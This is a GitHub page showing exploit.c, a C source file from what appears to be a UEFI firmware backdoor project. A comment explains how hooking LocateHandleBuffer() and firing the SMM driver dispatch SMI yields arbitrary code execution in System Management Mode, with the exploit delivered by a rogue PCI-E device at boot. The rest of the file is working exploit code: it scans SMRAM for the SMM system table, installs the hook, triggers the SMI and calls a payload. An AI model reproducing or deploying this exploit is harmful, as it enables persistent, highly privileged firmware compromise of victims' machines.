-
Notifications
You must be signed in to change notification settings - Fork 50
/
Copy pathexploit.c
289 lines (233 loc) · 8.99 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
#include <FrameworkSmm.h>
#include <Protocol/SmmBase2.h>
#include <Protocol/SmmCommunication.h>
#include <Guid/EventGroup.h>
#include <IndustryStandard/PeImage.h>
#include "../config.h"
#include "../interface.h"
#include "common.h"
#include "debug.h"
#include "loader.h"
#include "backdoor.h"
#include "exploit.h"
#include "virtmem.h"
EFI_LOCATE_HANDLE_BUFFER old_LocateHandleBuffer = NULL;
EXPLOIT_PROC m_ExploitProc = NULL;
BOOLEAN m_bSmmHandlerExecuted = FALSE;
// SMM communication structure
EFI_SMM_COMMUNICATE_HEADER m_CommunicateHeader;
// defined in backdoor.c
extern EFI_BOOT_SERVICES *m_BS;
extern EFI_SMRAM_DESCRIPTOR m_SmramMap[MAX_SMRAM_REGIONS];
extern UINTN m_SmramMapSize;
/*
SmmDriverDispatchHandler() SMI handler of PiSmmCore used to load SMM drivers
when needed DXE drivers has been initialized and Firmware Volume protocol is
ready to use:
EFI_STATUS
EFIAPI
SmmDriverDispatchHandler (
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context, OPTIONAL
IN OUT VOID *CommBuffer, OPTIONAL
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
// ...
HandleBuffer = NULL;
Status = gBS->LocateHandleBuffer (
ByProtocol,
&gEfiFirmwareVolume2ProtocolGuid,
NULL,
&HandleCount,
&HandleBuffer
);
// ...
This handler is being registered at the beginning of the SMM core exeuction and
being unregistered by SMM ready to lock event handler:
EFI_STATUS
EFIAPI
SmmReadyToLockHandler (
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context, OPTIONAL
IN OUT VOID *CommBuffer, OPTIONAL
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
// ...
//
// Unregister SMI Handlers that are no required after the SMM driver dispatch is stopped
//
for (Index = 0; mSmmCoreSmiHandlers[Index].HandlerType != NULL; Index++) {
if (mSmmCoreSmiHandlers[Index].UnRegister) {
SmiHandlerUnRegister (mSmmCoreSmiHandlers[Index].DispatchHandle);
}
}
// ...
DXE part of SMM core registers DXE dispatch event handler and fires appropriate SMI to
execute SmmDriverDispatchHandler() when this event occurrs:
VOID
EFIAPI
SmmIplDxeDispatchEventNotify (
IN EFI_EVENT Event,
IN VOID *Context
)
{
// ...
//
// Keep calling the SMM Core Dispatcher until there is no request to restart it.
//
while (TRUE) {
//
// Use Guid to initialize EFI_SMM_COMMUNICATE_HEADER structure
// Clear the buffer passed into the Software SMI. This buffer will return
// the status of the SMM Core Dispatcher.
//
CopyGuid (&mCommunicateHeader.HeaderGuid, (EFI_GUID *)Context);
mCommunicateHeader.MessageLength = 1;
mCommunicateHeader.Data[0] = 0;
//
// Generate the Software SMI and return the result
//
Size = sizeof (mCommunicateHeader);
SmmCommunicationCommunicate (&mSmmCommunication, &mCommunicateHeader, &Size);
//
// Return if there is no request to restart the SMM Core Dispatcher
//
if (mCommunicateHeader.Data[0] != COMM_BUFFER_SMM_DISPATCH_RESTART) {
return;
}
//
// Close all SMRAM ranges to protect SMRAM
// NOTE: SMRR is enabled by CPU SMM driver by calling SmmCpuFeaturesInitializeProcessor()
// from SmmCpuFeaturesLib so no need to reset the SMRAM to UC in MTRR.
//
Status = mSmmAccess->Close (mSmmAccess);
// ...
This exploit is able to work due to the fact that PCI-E bus intialization
happens way before DXE dispatch event, so it overwrites LocateHandleBuffer()
with the arbitrary SMM code address and manually fires SmmDriverDispatchHandler()
SMI in order to execute this code.
Rogue PCI-E device is used to inject this exploit into the boot sequence of the
target machine before DXE dispatch event.
*/
//--------------------------------------------------------------------------------------
// to be used in FindSmst() function
#define SMST_MEM_ALIGN sizeof(UINT64)
// SMRAM region is usually located in lower part of physical memory range
#define SMST_CHECK_ADDR(_addr_) ((UINT64)(_addr_) != 0 && ((UINT64)(_addr_) >> 32) == 0)
EFI_SMM_SYSTEM_TABLE2 *FindSmst(void)
{
UINTN i = 0, p = 0, n = 0;
// for VirtualAddrValid() calls
UINT64 Cr3 = __readcr3();
// enumerate SMRAM regions
for (i = 0; i < m_SmramMapSize / sizeof(EFI_SMRAM_DESCRIPTOR); i += 1)
{
// enumerate memory pages for each region
for (p = 0; p < m_SmramMap[i].PhysicalSize; p += PAGE_SIZE)
{
UINT64 Addr = m_SmramMap[i].PhysicalStart + p;
// check for valid virtual address
if (VirtualAddrValid(Addr, Cr3))
{
for (n = 0; n < PAGE_SIZE; n += SMST_MEM_ALIGN)
{
EFI_SMM_SYSTEM_TABLE2 *Smst = (EFI_SMM_SYSTEM_TABLE2 *)(Addr + n);
// check for valid SMM system table 2 header
if (Smst->Hdr.Signature == SMM_SMST_SIGNATURE && (Smst->Hdr.Revision >> 16) != 0)
{
// sanity check some function pointers as well
if (SMST_CHECK_ADDR(Smst->SmmAllocatePool) &&
SMST_CHECK_ADDR(Smst->SmmAllocatePages) &&
SMST_CHECK_ADDR(Smst->SmmFreePool) &&
SMST_CHECK_ADDR(Smst->SmmFreePages))
{
return Smst;
}
}
}
}
}
}
return NULL;
}
EFI_STATUS EFIAPI new_LocateHandleBuffer(
EFI_LOCATE_SEARCH_TYPE SearchType,
EFI_GUID *Protocol,
VOID *SearchKey,
UINTN *NoHandles,
EFI_HANDLE **Buffer)
{
EFI_SMM_SYSTEM_TABLE2 *Smst = NULL;
// indicate successful exploitation
m_bSmmHandlerExecuted = TRUE;
if (m_ExploitProc)
{
// find SMM system table
if ((Smst = FindSmst()) != NULL)
{
// call payoad
m_ExploitProc(Smst);
}
}
/*
Here we need to return an error code to immediately exit
from the SmmDriverDispatchHandler() and prevent any side effects.
*/
return EFI_NOT_FOUND;
}
//--------------------------------------------------------------------------------------
EFI_STATUS Exploit(EXPLOIT_PROC ExploitProc)
{
EFI_STATUS Status = 0;
EFI_SMM_BASE2_PROTOCOL *SmmBase = NULL;
EFI_SMM_COMMUNICATION_PROTOCOL *SmmComm = NULL;
UINTN Size = sizeof(m_CommunicateHeader);
m_ExploitProc = ExploitProc;
m_bSmmHandlerExecuted = FALSE;
if ((Status = m_BS->LocateProtocol(&gEfiSmmBase2ProtocolGuid, NULL, (VOID **)&SmmBase)) != EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "LocateProtocol() ERROR 0x%x\r\n", Status);
return Status;
}
if ((Status = m_BS->LocateProtocol(&gEfiSmmCommunicationProtocolGuid, NULL, (VOID **)&SmmComm)) != EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "LocateProtocol() ERROR 0x%x\r\n", Status);
return Status;
}
DbgMsg(
__FILE__, __LINE__,
"SMM communicate header is at "FPTR"\r\n", &m_CommunicateHeader
);
// set up communicate header
m_BS->CopyMem(&m_CommunicateHeader.HeaderGuid, &gEfiEventDxeDispatchGuid, sizeof(EFI_GUID));
m_CommunicateHeader.MessageLength = 1;
m_CommunicateHeader.Data[0] = 0;
// hook LocateHandleBuffer()
old_LocateHandleBuffer = m_BS->LocateHandleBuffer;
m_BS->LocateHandleBuffer = new_LocateHandleBuffer;
DbgMsg(__FILE__, __LINE__, "Executing SMM callback...\r\n");
// call SMM callback
Status = SmmComm->Communicate(SmmComm, &m_CommunicateHeader, &Size);
if (!m_bSmmHandlerExecuted)
{
// fire any synchronous SMI to process pending SMM calls and execute arbitrary code
GenerateSoftwareSMI(0, 0xff);
}
// restore LocateHandleBuffer()
m_BS->LocateHandleBuffer = old_LocateHandleBuffer;
DbgMsg(
__FILE__, __LINE__,
"Communicate(): status = 0x%.8x, size = 0x%.8x\r\n", Status, Size
);
if (m_bSmmHandlerExecuted)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exploitation success\r\n");
return EFI_SUCCESS;
}
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Exploitation fails\r\n");
return EFI_LOAD_ERROR;
}
//--------------------------------------------------------------------------------------
// EoF